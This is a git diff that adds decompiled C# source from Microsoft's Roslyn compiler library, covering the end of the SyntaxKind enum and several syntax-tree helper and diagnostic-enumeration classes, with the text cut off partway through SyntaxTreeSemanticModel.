+ NullableKeyword = 8486, + EnableKeyword = 8487, + WarningsKeyword = 8488, + AnnotationsKeyword = 8489, + VarKeyword = 8490, + UnderscoreToken = 8491, + OmittedTypeArgumentToken = 8492, + OmittedArraySizeExpressionToken = 8493, + EndOfDirectiveToken = 8494, + EndOfDocumentationCommentToken = 8495, + EndOfFileToken = 8496, + BadToken = 8507, + IdentifierToken = 8508, + NumericLiteralToken = 8509, + CharacterLiteralToken = 8510, + StringLiteralToken = 8511, + XmlEntityLiteralToken = 8512, + XmlTextLiteralToken = 8513, + XmlTextLiteralNewLineToken = 8514, + InterpolatedStringToken = 8515, + InterpolatedStringTextToken = 8517, + SingleLineRawStringLiteralToken = 8518, + MultiLineRawStringLiteralToken = 8519, + Utf8StringLiteralToken = 8520, + Utf8SingleLineRawStringLiteralToken = 8521, + Utf8MultiLineRawStringLiteralToken = 8522, + EndOfLineTrivia = 8539, + WhitespaceTrivia = 8540, + SingleLineCommentTrivia = 8541, + MultiLineCommentTrivia = 8542, + DocumentationCommentExteriorTrivia = 8543, + SingleLineDocumentationCommentTrivia = 8544, + MultiLineDocumentationCommentTrivia = 8545, + DisabledTextTrivia = 8546, + PreprocessingMessageTrivia = 8547, + IfDirectiveTrivia = 8548, + ElifDirectiveTrivia = 8549, + ElseDirectiveTrivia = 8550, + EndIfDirectiveTrivia = 8551, + RegionDirectiveTrivia = 8552, + EndRegionDirectiveTrivia = 8553, + DefineDirectiveTrivia = 8554, + UndefDirectiveTrivia = 8555, + ErrorDirectiveTrivia = 8556, + WarningDirectiveTrivia = 8557, + LineDirectiveTrivia = 8558, + PragmaWarningDirectiveTrivia = 8559, + PragmaChecksumDirectiveTrivia = 8560, + ReferenceDirectiveTrivia = 8561, + BadDirectiveTrivia = 8562, + SkippedTokensTrivia = 8563, + ConflictMarkerTrivia = 8564, + XmlElement = 8574, + XmlElementStartTag = 8575, + XmlElementEndTag = 8576, + XmlEmptyElement = 8577, + XmlTextAttribute = 8578, + XmlCrefAttribute = 8579, + XmlNameAttribute = 8580, + XmlName = 8581, + XmlPrefix = 8582, + XmlText = 8583, + XmlCDataSection = 8584, + XmlComment = 8585, + XmlProcessingInstruction = 8586, + TypeCref = 8597, + QualifiedCref = 8598, + NameMemberCref = 8599, + IndexerMemberCref = 8600, + OperatorMemberCref = 8601, + ConversionOperatorMemberCref = 8602, + CrefParameterList = 8603, + CrefBracketedParameterList = 8604, + CrefParameter = 8605, + IdentifierName = 8616, + QualifiedName = 8617, + GenericName = 8618, + TypeArgumentList = 8619, + AliasQualifiedName = 8620, + PredefinedType = 8621, + ArrayType = 8622, + ArrayRankSpecifier = 8623, + PointerType = 8624, + NullableType = 8625, + OmittedTypeArgument = 8626, + ParenthesizedExpression = 8632, + ConditionalExpression = 8633, + InvocationExpression = 8634, + ElementAccessExpression = 8635, + ArgumentList = 8636, + BracketedArgumentList = 8637, + Argument = 8638, + NameColon = 8639, + CastExpression = 8640, + AnonymousMethodExpression = 8641, + SimpleLambdaExpression = 8642, + ParenthesizedLambdaExpression = 8643, + ObjectInitializerExpression = 8644, + CollectionInitializerExpression = 8645, + ArrayInitializerExpression = 8646, + AnonymousObjectMemberDeclarator = 8647, + ComplexElementInitializerExpression = 8648, + ObjectCreationExpression = 8649, + AnonymousObjectCreationExpression = 8650, + ArrayCreationExpression = 8651, + ImplicitArrayCreationExpression = 8652, + StackAllocArrayCreationExpression = 8653, + OmittedArraySizeExpression = 8654, + InterpolatedStringExpression = 8655, + ImplicitElementAccess = 8656, + IsPatternExpression = 8657, + RangeExpression = 8658, + ImplicitObjectCreationExpression = 8659, + AddExpression = 8668, + SubtractExpression = 8669, + MultiplyExpression = 8670, + DivideExpression = 8671, + ModuloExpression = 8672, + LeftShiftExpression = 8673, + RightShiftExpression = 8674, + LogicalOrExpression = 8675, + LogicalAndExpression = 8676, + BitwiseOrExpression = 8677, + BitwiseAndExpression = 8678, + ExclusiveOrExpression = 8679, + EqualsExpression = 8680, + NotEqualsExpression = 8681, + LessThanExpression = 8682, + LessThanOrEqualExpression = 8683, + GreaterThanExpression = 8684, + GreaterThanOrEqualExpression = 8685, + IsExpression = 8686, + AsExpression = 8687, + CoalesceExpression = 8688, + SimpleMemberAccessExpression = 8689, + PointerMemberAccessExpression = 8690, + ConditionalAccessExpression = 8691, + UnsignedRightShiftExpression = 8692, + MemberBindingExpression = 8707, + ElementBindingExpression = 8708, + SimpleAssignmentExpression = 8714, + AddAssignmentExpression = 8715, + SubtractAssignmentExpression = 8716, + MultiplyAssignmentExpression = 8717, + DivideAssignmentExpression = 8718, + ModuloAssignmentExpression = 8719, + AndAssignmentExpression = 8720, + ExclusiveOrAssignmentExpression = 8721, + OrAssignmentExpression = 8722, + LeftShiftAssignmentExpression = 8723, + RightShiftAssignmentExpression = 8724, + CoalesceAssignmentExpression = 8725, + UnsignedRightShiftAssignmentExpression = 8726, + UnaryPlusExpression = 8730, + UnaryMinusExpression = 8731, + BitwiseNotExpression = 8732, + LogicalNotExpression = 8733, + PreIncrementExpression = 8734, + PreDecrementExpression = 8735, + PointerIndirectionExpression = 8736, + AddressOfExpression = 8737, + PostIncrementExpression = 8738, + PostDecrementExpression = 8739, + AwaitExpression = 8740, + IndexExpression = 8741, + ThisExpression = 8746, + BaseExpression = 8747, + ArgListExpression = 8748, + NumericLiteralExpression = 8749, + StringLiteralExpression = 8750, + CharacterLiteralExpression = 8751, + TrueLiteralExpression = 8752, + FalseLiteralExpression = 8753, + NullLiteralExpression = 8754, + DefaultLiteralExpression = 8755, + Utf8StringLiteralExpression = 8756, + TypeOfExpression = 8760, + SizeOfExpression = 8761, + CheckedExpression = 8762, + UncheckedExpression = 8763, + DefaultExpression = 8764, + MakeRefExpression = 8765, + RefValueExpression = 8766, + RefTypeExpression = 8767, + QueryExpression = 8774, + QueryBody = 8775, + FromClause = 8776, + LetClause = 8777, + JoinClause = 8778, + JoinIntoClause = 8779, + WhereClause = 8780, + OrderByClause = 8781, + AscendingOrdering = 8782, + DescendingOrdering = 8783, + SelectClause = 8784, + GroupClause = 8785, + QueryContinuation = 8786, + Block = 8792, + LocalDeclarationStatement = 8793, + VariableDeclaration = 8794, + VariableDeclarator = 8795, + EqualsValueClause = 8796, + ExpressionStatement = 8797, + EmptyStatement = 8798, + LabeledStatement = 8799, + GotoStatement = 8800, + GotoCaseStatement = 8801, + GotoDefaultStatement = 8802, + BreakStatement = 8803, + ContinueStatement = 8804, + ReturnStatement = 8805, + YieldReturnStatement = 8806, + YieldBreakStatement = 8807, + ThrowStatement = 8808, + WhileStatement = 8809, + DoStatement = 8810, + ForStatement = 8811, + ForEachStatement = 8812, + UsingStatement = 8813, + FixedStatement = 8814, + CheckedStatement = 8815, + UncheckedStatement = 8816, + UnsafeStatement = 8817, + LockStatement = 8818, + IfStatement = 8819, + ElseClause = 8820, + SwitchStatement = 8821, + SwitchSection = 8822, + CaseSwitchLabel = 8823, + DefaultSwitchLabel = 8824, + TryStatement = 8825, + CatchClause = 8826, + CatchDeclaration = 8827, + CatchFilterClause = 8828, + FinallyClause = 8829, + LocalFunctionStatement = 8830, + CompilationUnit = 8840, + GlobalStatement = 8841, + NamespaceDeclaration = 8842, + UsingDirective = 8843, + ExternAliasDirective = 8844, + FileScopedNamespaceDeclaration = 8845, + AttributeList = 8847, + AttributeTargetSpecifier = 8848, + Attribute = 8849, + AttributeArgumentList = 8850, + AttributeArgument = 8851, + NameEquals = 8852, + ClassDeclaration = 8855, + StructDeclaration = 8856, + InterfaceDeclaration = 8857, + EnumDeclaration = 8858, + DelegateDeclaration = 8859, + BaseList = 8864, + SimpleBaseType = 8865, + TypeParameterConstraintClause = 8866, + ConstructorConstraint = 8867, + ClassConstraint = 8868, + StructConstraint = 8869, + TypeConstraint = 8870, + ExplicitInterfaceSpecifier = 8871, + EnumMemberDeclaration = 8872, + FieldDeclaration = 8873, + EventFieldDeclaration = 8874, + MethodDeclaration = 8875, + OperatorDeclaration = 8876, + ConversionOperatorDeclaration = 8877, + ConstructorDeclaration = 8878, + BaseConstructorInitializer = 8889, + ThisConstructorInitializer = 8890, + DestructorDeclaration = 8891, + PropertyDeclaration = 8892, + EventDeclaration = 8893, + IndexerDeclaration = 8894, + AccessorList = 8895, + GetAccessorDeclaration = 8896, + SetAccessorDeclaration = 8897, + AddAccessorDeclaration = 8898, + RemoveAccessorDeclaration = 8899, + UnknownAccessorDeclaration = 8900, + ParameterList = 8906, + BracketedParameterList = 8907, + Parameter = 8908, + TypeParameterList = 8909, + TypeParameter = 8910, + IncompleteMember = 8916, + ArrowExpressionClause = 8917, + Interpolation = 8918, + InterpolatedStringText = 8919, + InterpolationAlignmentClause = 8920, + InterpolationFormatClause = 8921, + ShebangDirectiveTrivia = 8922, + LoadDirectiveTrivia = 8923, + TupleType = 8924, + TupleElement = 8925, + TupleExpression = 8926, + SingleVariableDesignation = 8927, + ParenthesizedVariableDesignation = 8928, + ForEachVariableStatement = 8929, + DeclarationPattern = 9000, + ConstantPattern = 9002, + CasePatternSwitchLabel = 9009, + WhenClause = 9013, + DiscardDesignation = 9014, + RecursivePattern = 9020, + PropertyPatternClause = 9021, + Subpattern = 9022, + PositionalPatternClause = 9023, + DiscardPattern = 9024, + SwitchExpression = 9025, + SwitchExpressionArm = 9026, + VarPattern = 9027, + ParenthesizedPattern = 9028, + RelationalPattern = 9029, + TypePattern = 9030, + OrPattern = 9031, + AndPattern = 9032, + NotPattern = 9033, + SlicePattern = 9034, + ListPattern = 9035, + DeclarationExpression = 9040, + RefExpression = 9050, + RefType = 9051, + ThrowExpression = 9052, + ImplicitStackAllocArrayCreationExpression = 9053, + SuppressNullableWarningExpression = 9054, + NullableDirectiveTrivia = 9055, + FunctionPointerType = 9056, + FunctionPointerParameter = 9057, + FunctionPointerParameterList = 9058, + FunctionPointerCallingConvention = 9059, + InitAccessorDeclaration = 9060, + WithExpression = 9061, + WithInitializerExpression = 9062, + RecordDeclaration = 9063, + DefaultConstraint = 9064, + PrimaryConstructorBaseType = 9065, + FunctionPointerUnmanagedCallingConventionList = 9066, + FunctionPointerUnmanagedCallingConvention = 9067, + RecordStructDeclaration = 9068, + ExpressionColon = 9069, + LineDirectivePosition = 9070, + LineSpanDirectiveTrivia = 9071, + InterpolatedSingleLineRawStringStartToken = 9072, + InterpolatedMultiLineRawStringStartToken = 9073, + InterpolatedRawStringEndToken = 9074, + ScopedType = 9075, + CollectionExpression = 9076, + ExpressionElement = 9077, + SpreadElement = 9078 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxKindExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxKindExtensions.cs new file mode 100644 index 0000000..1961025 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxKindExtensions.cs @@ -0,0 +1,30 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class SyntaxKindExtensions +{ + internal static SpecialType GetSpecialType(this SyntaxKind kind) + { + return (SpecialType)(kind switch + { + SyntaxKind.VoidKeyword => 6, + SyntaxKind.BoolKeyword => 7, + SyntaxKind.ByteKeyword => 10, + SyntaxKind.SByteKeyword => 9, + SyntaxKind.ShortKeyword => 11, + SyntaxKind.UShortKeyword => 12, + SyntaxKind.IntKeyword => 13, + SyntaxKind.UIntKeyword => 14, + SyntaxKind.LongKeyword => 15, + SyntaxKind.ULongKeyword => 16, + SyntaxKind.DoubleKeyword => 19, + SyntaxKind.FloatKeyword => 18, + SyntaxKind.DecimalKeyword => 17, + SyntaxKind.StringKeyword => 20, + SyntaxKind.CharKeyword => 8, + SyntaxKind.ObjectKeyword => 1, + _ => throw ExceptionUtilities.UnexpectedValue((object)kind), + }); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxNodeExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxNodeExtensions.cs new file mode 100644 index 0000000..db04e7b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxNodeExtensions.cs @@ -0,0 +1,308 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class SyntaxNodeExtensions +{ + public static TNode WithAnnotations(this TNode node, params SyntaxAnnotation[] annotations) where TNode : CSharpSyntaxNode + { + return (TNode)(CSharpSyntaxNode)(object)((SyntaxNode)node).Green.SetAnnotations(annotations).CreateRed(); + } + + public static bool IsAnonymousFunction(this SyntaxNode syntax) + { + SyntaxKind syntaxKind = syntax.Kind(); + if (syntaxKind - 8641 <= (SyntaxKind)2) + { + return true; + } + return false; + } + + public static bool IsQuery(this SyntaxNode syntax) + { + switch (syntax.Kind()) + { + case SyntaxKind.QueryExpression: + case SyntaxKind.FromClause: + case SyntaxKind.LetClause: + case SyntaxKind.JoinClause: + case SyntaxKind.JoinIntoClause: + case SyntaxKind.WhereClause: + case SyntaxKind.OrderByClause: + case SyntaxKind.SelectClause: + case SyntaxKind.GroupClause: + case SyntaxKind.QueryContinuation: + return true; + default: + return false; + } + } + + internal static bool MayBeNameofOperator(this InvocationExpressionSyntax node) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + if (node.Expression.Kind() == SyntaxKind.IdentifierName && ((IdentifierNameSyntax)node.Expression).Identifier.ContextualKind() == SyntaxKind.NameOfKeyword && node.ArgumentList.Arguments.Count == 1) + { + ArgumentSyntax argumentSyntax = node.ArgumentList.Arguments[0]; + if (argumentSyntax.NameColon == null && argumentSyntax.RefOrOutKeyword == default(SyntaxToken)) + { + return true; + } + } + return false; + } + + internal static bool CanHaveAssociatedLocalBinder(this SyntaxNode syntax) + { + switch (syntax.Kind()) + { + case SyntaxKind.InvocationExpression: + if (((InvocationExpressionSyntax)(object)syntax).MayBeNameofOperator()) + { + return true; + } + break; + case SyntaxKind.ArgumentList: + case SyntaxKind.AnonymousMethodExpression: + case SyntaxKind.SimpleLambdaExpression: + case SyntaxKind.ParenthesizedLambdaExpression: + case SyntaxKind.CheckedExpression: + case SyntaxKind.UncheckedExpression: + case SyntaxKind.EqualsValueClause: + case SyntaxKind.SwitchSection: + case SyntaxKind.CatchClause: + case SyntaxKind.CatchFilterClause: + case SyntaxKind.Attribute: + case SyntaxKind.ConstructorDeclaration: + case SyntaxKind.BaseConstructorInitializer: + case SyntaxKind.ThisConstructorInitializer: + case SyntaxKind.ArrowExpressionClause: + case SyntaxKind.SwitchExpression: + case SyntaxKind.SwitchExpressionArm: + case SyntaxKind.PrimaryConstructorBaseType: + return true; + case SyntaxKind.RecordStructDeclaration: + return false; + } + if (!(syntax is StatementSyntax)) + { + return (syntax as ExpressionSyntax).IsValidScopeDesignator(); + } + return true; + } + + internal static bool IsValidScopeDesignator(this ExpressionSyntax? expression) + { + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode cSharpSyntaxNode = expression?.Parent; + switch (cSharpSyntaxNode?.Kind()) + { + case SyntaxKind.SimpleLambdaExpression: + case SyntaxKind.ParenthesizedLambdaExpression: + return ((LambdaExpressionSyntax)cSharpSyntaxNode).Body == expression; + case SyntaxKind.SwitchStatement: + return ((SwitchStatementSyntax)cSharpSyntaxNode).Expression == expression; + case SyntaxKind.ForStatement: + { + ForStatementSyntax forStatementSyntax = (ForStatementSyntax)cSharpSyntaxNode; + if (forStatementSyntax.Condition != expression) + { + return forStatementSyntax.Incrementors.FirstOrDefault() == expression; + } + return true; + } + case SyntaxKind.ForEachStatement: + case SyntaxKind.ForEachVariableStatement: + return ((CommonForEachStatementSyntax)cSharpSyntaxNode).Expression == expression; + default: + return false; + } + } + + internal static bool IsLegalCSharp73SpanStackAllocPosition(this SyntaxNode node) + { + if (node.Parent.IsKind(SyntaxKind.CastExpression)) + { + node = node.Parent; + } + while (node.Parent.IsKind(SyntaxKind.ConditionalExpression)) + { + node = node.Parent; + } + SyntaxNode parent = node.Parent; + if (parent == null) + { + return false; + } + switch (parent.Kind()) + { + case SyntaxKind.EqualsValueClause: + { + SyntaxNode parent2 = parent.Parent; + if (parent2.IsKind(SyntaxKind.VariableDeclarator)) + { + return parent2.Parent.IsKind(SyntaxKind.VariableDeclaration); + } + return false; + } + case SyntaxKind.SimpleAssignmentExpression: + return parent.Parent.IsKind(SyntaxKind.ExpressionStatement); + default: + return false; + } + } + + internal static CSharpSyntaxNode AnonymousFunctionBody(this SyntaxNode lambda) + { + return ((AnonymousFunctionExpressionSyntax)(object)lambda).Body; + } + + internal static SyntaxToken ExtractAnonymousTypeMemberName(this ExpressionSyntax input) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + while (true) + { + switch (input.Kind()) + { + case SyntaxKind.IdentifierName: + return ((IdentifierNameSyntax)input).Identifier; + case SyntaxKind.SimpleMemberAccessExpression: + input = ((MemberAccessExpressionSyntax)input).Name; + break; + case SyntaxKind.ConditionalAccessExpression: + input = ((ConditionalAccessExpressionSyntax)input).WhenNotNull; + if (input.Kind() == SyntaxKind.MemberBindingExpression) + { + return ((MemberBindingExpressionSyntax)input).Name.Identifier; + } + break; + default: + return default(SyntaxToken); + } + } + } + + internal static RefKind GetRefKindInLocalOrReturn(this TypeSyntax syntax, BindingDiagnosticBag diagnostics) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + syntax.SkipRefInLocalOrReturn(diagnostics, out var refKind); + return refKind; + } + + internal static TypeSyntax SkipRef(this TypeSyntax syntax) + { + RefKind refKind; + return SkipRefWorker(syntax, null, out refKind); + } + + internal static TypeSyntax SkipRefInField(this TypeSyntax syntax, out RefKind refKind) + { + return SkipRefWorker(syntax, null, out refKind); + } + + internal static TypeSyntax SkipRefInLocalOrReturn(this TypeSyntax syntax, BindingDiagnosticBag? diagnostics, out RefKind refKind) + { + return SkipRefWorker(syntax, diagnostics, out refKind); + } + + private static TypeSyntax SkipRefWorker(TypeSyntax syntax, BindingDiagnosticBag? diagnostics, out RefKind refKind) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + if (syntax.Kind() == SyntaxKind.RefType) + { + RefTypeSyntax refTypeSyntax = (RefTypeSyntax)syntax; + refKind = (RefKind)((refTypeSyntax.ReadOnlyKeyword.Kind() != SyntaxKind.ReadOnlyKeyword) ? 1 : 3); + if (diagnostics != null) + { + MessageID.IDS_FeatureRefLocalsReturns.CheckFeatureAvailability(diagnostics, refTypeSyntax.RefKeyword); + if (refTypeSyntax.ReadOnlyKeyword != default(SyntaxToken)) + { + MessageID.IDS_FeatureReadOnlyReferences.CheckFeatureAvailability(diagnostics, refTypeSyntax.ReadOnlyKeyword); + } + } + return refTypeSyntax.Type; + } + refKind = (RefKind)0; + return syntax; + } + + internal static TypeSyntax SkipScoped(this TypeSyntax syntax, out bool isScoped) + { + if (syntax is ScopedTypeSyntax scopedTypeSyntax) + { + isScoped = true; + return scopedTypeSyntax.Type; + } + isScoped = false; + return syntax; + } + + internal static SyntaxNode ModifyingScopedOrRefTypeOrSelf(this SyntaxNode syntax) + { + SyntaxNode parent = syntax.Parent; + if (parent is RefTypeSyntax refTypeSyntax && (object)refTypeSyntax.Type == syntax) + { + syntax = (SyntaxNode)(object)refTypeSyntax; + parent = parent.Parent; + } + if (parent is ScopedTypeSyntax scopedTypeSyntax && (object)scopedTypeSyntax.Type == syntax) + { + return (SyntaxNode)(object)scopedTypeSyntax; + } + return syntax; + } + + internal static ExpressionSyntax? CheckAndUnwrapRefExpression(this ExpressionSyntax? syntax, BindingDiagnosticBag diagnostics, out RefKind refKind) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + if (syntax is RefExpressionSyntax refExpressionSyntax) + { + ExpressionSyntax expression = refExpressionSyntax.Expression; + MessageID.IDS_FeatureRefLocalsReturns.CheckFeatureAvailability(diagnostics, refExpressionSyntax.RefKeyword); + refKind = (RefKind)1; + expression.CheckDeconstructionCompatibleArgument(diagnostics); + return expression; + } + refKind = (RefKind)0; + return syntax; + } + + internal static void CheckDeconstructionCompatibleArgument(this ExpressionSyntax expression, BindingDiagnosticBag diagnostics) + { + if (IsDeconstructionCompatibleArgument(expression)) + { + diagnostics.Add(ErrorCode.ERR_VarInvocationLvalueReserved, expression.GetLocation()); + } + } + + private static bool IsDeconstructionCompatibleArgument(ExpressionSyntax expression) + { + if (expression.Kind() == SyntaxKind.InvocationExpression) + { + ExpressionSyntax expression2 = ((InvocationExpressionSyntax)expression).Expression; + if (expression2.Kind() == SyntaxKind.IdentifierName) + { + return ((IdentifierNameSyntax)expression2).IsVar; + } + return false; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxTreeDiagnosticEnumerator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxTreeDiagnosticEnumerator.cs new file mode 100644 index 0000000..d03620e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxTreeDiagnosticEnumerator.cs @@ -0,0 +1,185 @@ +using System; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal struct SyntaxTreeDiagnosticEnumerator +{ + private struct NodeIteration + { + internal readonly GreenNode Node; + + internal int DiagnosticIndex; + + internal int SlotIndex; + + internal NodeIteration(GreenNode node) + { + Node = node; + SlotIndex = -1; + DiagnosticIndex = -1; + } + } + + private struct NodeIterationStack + { + private NodeIteration[] _stack; + + private int _count; + + internal NodeIteration Top => this[_count - 1]; + + internal NodeIteration this[int index] => _stack[index]; + + internal NodeIterationStack(int capacity) + { + _stack = new NodeIteration[capacity]; + _count = 0; + } + + internal void PushNodeOrToken(GreenNode node) + { + if (node is SyntaxToken token) + { + PushToken(token); + } + else + { + Push(node); + } + } + + private void PushToken(SyntaxToken token) + { + GreenNode trailingTrivia = token.GetTrailingTrivia(); + if (trailingTrivia != null) + { + Push(trailingTrivia); + } + Push((GreenNode)(object)token); + GreenNode leadingTrivia = token.GetLeadingTrivia(); + if (leadingTrivia != null) + { + Push(leadingTrivia); + } + } + + private void Push(GreenNode node) + { + if (_count >= _stack.Length) + { + NodeIteration[] array = new NodeIteration[_stack.Length * 2]; + Array.Copy(_stack, array, _stack.Length); + _stack = array; + } + _stack[_count] = new NodeIteration(node); + _count++; + } + + internal void Pop() + { + _count--; + } + + internal bool Any() + { + return _count > 0; + } + + internal void UpdateSlotIndexForStackTop(int slotIndex) + { + _stack[_count - 1].SlotIndex = slotIndex; + } + + internal void UpdateDiagnosticIndexForStackTop(int diagnosticIndex) + { + _stack[_count - 1].DiagnosticIndex = diagnosticIndex; + } + } + + private readonly SyntaxTree? _syntaxTree; + + private NodeIterationStack _stack; + + private Diagnostic? _current; + + private int _position; + + private const int DefaultStackCapacity = 8; + + public Diagnostic Current => _current; + + internal SyntaxTreeDiagnosticEnumerator(SyntaxTree syntaxTree, GreenNode? node, int position) + { + _syntaxTree = null; + _current = null; + _position = position; + if (node != null && node.ContainsDiagnostics) + { + _syntaxTree = syntaxTree; + _stack = new NodeIterationStack(8); + _stack.PushNodeOrToken(node); + } + else + { + _stack = default(NodeIterationStack); + } + } + + public bool MoveNext() + { + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Expected O, but got Unknown + while (_stack.Any()) + { + int diagnosticIndex = _stack.Top.DiagnosticIndex; + GreenNode node = _stack.Top.Node; + DiagnosticInfo[] diagnostics = node.GetDiagnostics(); + if (diagnosticIndex < diagnostics.Length - 1) + { + diagnosticIndex++; + SyntaxDiagnosticInfo syntaxDiagnosticInfo = (SyntaxDiagnosticInfo)(object)diagnostics[diagnosticIndex]; + int num = (node.IsToken ? node.GetLeadingTriviaWidth() : 0); + TextSpan fullSpan = _syntaxTree.GetRoot(default(CancellationToken)).FullSpan; + int length = ((TextSpan)(ref fullSpan)).Length; + int num2 = Math.Min(_position - num + syntaxDiagnosticInfo.Offset, length); + int num3 = Math.Min(num2 + syntaxDiagnosticInfo.Width, length) - num2; + _current = (Diagnostic?)(object)new CSDiagnostic((DiagnosticInfo)(object)syntaxDiagnosticInfo, (Location)new SourceLocation(_syntaxTree, new TextSpan(num2, num3))); + _stack.UpdateDiagnosticIndexForStackTop(diagnosticIndex); + return true; + } + int num4 = _stack.Top.SlotIndex; + while (true) + { + if (num4 < node.SlotCount - 1) + { + num4++; + GreenNode slot = node.GetSlot(num4); + if (slot != null) + { + if (slot.ContainsDiagnostics) + { + _stack.UpdateSlotIndexForStackTop(num4); + _stack.PushNodeOrToken(slot); + break; + } + _position += slot.FullWidth; + } + continue; + } + if (node.SlotCount == 0) + { + _position += node.Width; + } + _stack.Pop(); + break; + } + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxTreeSemanticModel.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxTreeSemanticModel.cs new file mode 100644 index 0000000..2a5355e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxTreeSemanticModel.cs @@ -0,0 +1,2127 @@ +using System; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class SyntaxTreeSemanticModel : PublicSemanticModel +{ + private readonly CSharpCompilation _compilation; + + private readonly SyntaxTree _syntaxTree; + + private ImmutableDictionary _memberModels = ImmutableDictionary.Empty; + + private readonly BinderFactory _binderFactory; + + private Func _createMemberModelFunction; + + private readonly bool _ignoresAccessibility; + + private ScriptLocalScopeBinder.Labels _globalStatementLabels; + + private static readonly Func s_isMemberDeclarationFunction = IsMemberDeclaration; + + public override CSharpCompilation Compilation => _compilation; + + internal override CSharpSyntaxNode Root => (CSharpSyntaxNode)(object)_syntaxTree.GetRoot(default(CancellationToken)); + + public override SyntaxTree SyntaxTree => _syntaxTree; + + public override bool IgnoresAccessibility => _ignoresAccessibility; + + public override bool IsSpeculativeSemanticModel => false; + + public override int OriginalPositionForSpeculation => 0; + + public override CSharpSemanticModel ParentModel => null; + + internal ImmutableDictionary TestOnlyMemberModels => _memberModels; + + private bool IsRegularCSharp => (int)SyntaxTree.Options.Kind == 0; + + internal SyntaxTreeSemanticModel(CSharpCompilation compilation, SyntaxTree syntaxTree, bool ignoreAccessibility = false) + { + _compilation = compilation; + _syntaxTree = syntaxTree; + _ignoresAccessibility = ignoreAccessibility; + _binderFactory = compilation.GetBinderFactory(SyntaxTree, ignoreAccessibility); + } + + internal SyntaxTreeSemanticModel(CSharpCompilation parentCompilation, SyntaxTree parentSyntaxTree, SyntaxTree speculatedSyntaxTree, bool ignoreAccessibility) + { + _compilation = parentCompilation; + _syntaxTree = speculatedSyntaxTree; + _binderFactory = _compilation.GetBinderFactory(parentSyntaxTree, ignoreAccessibility); + _ignoresAccessibility = ignoreAccessibility; + } + + private void VerifySpanForGetDiagnostics(TextSpan? span) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + if (span.HasValue) + { + TextSpan fullSpan = ((SyntaxNode)Root).FullSpan; + if (!((TextSpan)(ref fullSpan)).Contains(span.Value)) + { + throw new ArgumentException("span"); + } + } + } + + public override ImmutableArray GetSyntaxDiagnostics(TextSpan? span = null, CancellationToken cancellationToken = default(CancellationToken)) + { + VerifySpanForGetDiagnostics(span); + return Compilation.GetDiagnosticsForSyntaxTree((CompilationStage)0, SyntaxTree, span, includeEarlierStages: false, cancellationToken); + } + + public override ImmutableArray GetDeclarationDiagnostics(TextSpan? span = null, CancellationToken cancellationToken = default(CancellationToken)) + { + VerifySpanForGetDiagnostics(span); + return Compilation.GetDiagnosticsForSyntaxTree((CompilationStage)1, SyntaxTree, span, includeEarlierStages: false, cancellationToken); + } + + public override ImmutableArray GetMethodBodyDiagnostics(TextSpan? span = null, CancellationToken cancellationToken = default(CancellationToken)) + 